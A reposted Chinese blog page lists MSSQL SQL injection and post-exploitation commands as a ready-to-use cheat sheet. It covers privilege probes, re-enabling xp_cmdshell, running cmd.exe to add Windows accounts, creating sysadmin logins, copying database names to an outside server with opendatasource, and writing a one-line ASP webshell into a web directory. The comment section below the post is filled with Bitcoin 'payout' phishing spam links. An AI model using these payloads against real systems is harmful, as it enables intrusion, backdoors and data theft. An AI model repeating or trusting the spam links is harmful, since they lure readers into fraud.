小灰博客--小灰IT技术博客 | sky00.com

常用注入命令[转]

//看看是什么权限的
and 1=(Select IS_MEMBER(‘db_owner’))
And char(124)%2BCast(IS_MEMBER(‘db_owner’) as varchar(1))%2Bchar(124)=1 ;–

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS(‘master’))
And char(124)%2BCast(HAS_DBACCESS(‘master’) as varchar(1))%2Bchar(124)=1 —

数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
‘ and char(124)%2Buser%2Bchar(124)=0 and ”=’

搜索类型
‘ and char(124)%2Buser%2Bchar(124)=0 and ‘%’=’

爆用户名
and user>0
‘ and user>0 and ”=’

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 —

检测是不是MSSQL数据库
and exists (select * from sysobjects);–

检测是否支持多行
;declare @d int;–

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’;–

select * from openrowset(‘sqloledb’,’server=192.168.1.200,1433;uid=test;pwd=pafpaf’,’select @@version’)

//———————–
//      执行命令
//———————–
首先开启沙盘模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1

然后利用jet.oledb执行系统命令
select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net user admin admin1234 /add”)’)

执行命令
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add’;–

EXEC [master].[dbo].[xp_cmdshell] ‘cmd /c md c:\1111’

判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’)

写注册表
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1

REG_SZ

读注册表
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon’,’Userinit’

读取目录内容
exec master..xp_dirtree ‘c:\winnt\system32\’,1,1

数据库备份
backup database pubs to disk = ‘c:\123.bak’

//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;–

更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,’新密码’,’sa’

添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc ‘xp_cmdshell’

添加扩展存储过过程
EXEC [master]..sp_addextendedproc ‘xp_proxiedadata’, ‘c:\winnt\system32\sqllog.dll’
GRANT exec On xp_proxiedadata TO public

停掉或激活某个服务。

exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails ‘C:\Inetpub\wwwroot\SQLInject\login.asp’

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab
‘c:\test.cab’,’mszip’,1,
‘C:\Inetpub\wwwroot\SQLInject\login.asp’,
‘C:\Inetpub\wwwroot\SQLInject\securelogin.asp’

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解开压缩档。

xp_unpackcab ‘c:\test.cab’,’c:\temp’,1

某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\RAdmin\v2.0\Server\Parameters’,’Parameter’,’REG_BINARY’,0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\RAdmin\v2.0\Server\Parameters’,’port’,’REG_BINARY’,0xd20400 则端口值改为1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到数据库名
insert into opendatasource(‘sqloledb’,’server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx’).lcx.dbo.ku select name from master.dbo.sysdatabases

//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);–

用 sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123‘;exec%20sp_makewebtask%20’d:\www\tt\88.asp’,’%20select%20”<%25execute(request(“a”))%25>”%20′;–

//更新表内容
Update films SET kind = ‘Dramatic’ Where id = 123

//删除内容
delete from table_name where Stockid = 3


如果该文章帮到了您,不妨帮忙分享支持下博主!
同时也欢迎各位技术爱好者加入IT技术群(点击即可):70035098 互相交流学习!

分享该文章到:

一条评论



回复 Notification- Process NoKZ98. NEXT >> https://telegra.ph/Message--2868-12-25?hs=20abb68ac955ac5538a5ae131902e2a0& 取消回复

您的邮箱地址不会被公开。 必填项已用 * 标注

分类

最新评论

  • SECURITY UPDATE - Suspicious transfer of 1.5 BTC. Cancel? >> https://graph.org/COLLECT-BTC-07-23?hs=9e710a17c6f1893b8975843ad65a53ec&:upxwyz
  • ACCOUNT NOTICE: Suspicious transfer of 0.9 Bitcoin. Cancel? >> https://graph.org/COLLECT-BTC-07-23?hs=fe6091958be4c38fa81e31741d9ee97b&:4pf2ee
  • ACCOUNT ALERT - Unauthorized transaction of 2.0 Bitcoin. Block? >> https://graph.org/COLLECT-BTC-07-23?hs=16de53a4a2394494df77c8bcee6cad77&:h5il57
  • WALLET UPDATE: Suspicious transfer of 2.0 BTC. Stop? > https://graph.org/COLLECT-BTC-07-23?hs=3f08de96112b4bab631df916e9c95f9e&:puykif
  • SECURITY UPDATE - Unauthorized transaction of 0.9 BTC. Stop? > https://graph.org/COLLECT-BTC-07-23?hs=2ae440781044702fe525e5a4bc609633&:jeu7qm
  • + 1.463083 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:deoope
  • Notification; SENDING 1.340434 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=281dba697024abd3d1c5d7176ade2d86&:9no7ye
  • + 1.741870 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=82b659c095cace05cbef312726b6e1d9&:ktokt2
  • + 1.869464 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:8u5u17
  • + 1.520933 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=b3fb181a7a5a4b8271540fe16f846c4e&:77woi1
  • Ticket: Process 1.650130 BTC. Verify >> https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:0lc9pa
  • Email; + 1,927051 BTC. Go to withdrawal =>> https://graph.org/Payout-from-Blockchaincom-06-26?hs=537821b4863fb3bee56d03d62403a81a&:fpsg39
  • Ticket- TRANSACTION 1,331496 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=01da4417afbeba5c1c96ed80618a98be&:vv3cey
  • + 1.156550 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=48af46897a78ce23e02d3d6d91453c82&:70ihvo
  • Email; TRANSACTION 1.839657 BTC. Receive => https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:aiwxke
  • + 1.397578 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=389fe5cd6483dfc8b55bc3d3e1e86cfb&:uvq55v
  • + 1.504191 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=9e710a17c6f1893b8975843ad65a53ec&:yumyj7
  • Message; Process 1.505974 BTC. GET => https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=00af77503aab4040b9414644cafc3051&:njhgiw
  • + 1.732287 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=164145d501515772aa4824d0b8561afe&:vn4wwh
  • Message; Operation 1,932226 BTC. Assure =>> https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=82b659c095cace05cbef312726b6e1d9&:qwt1jk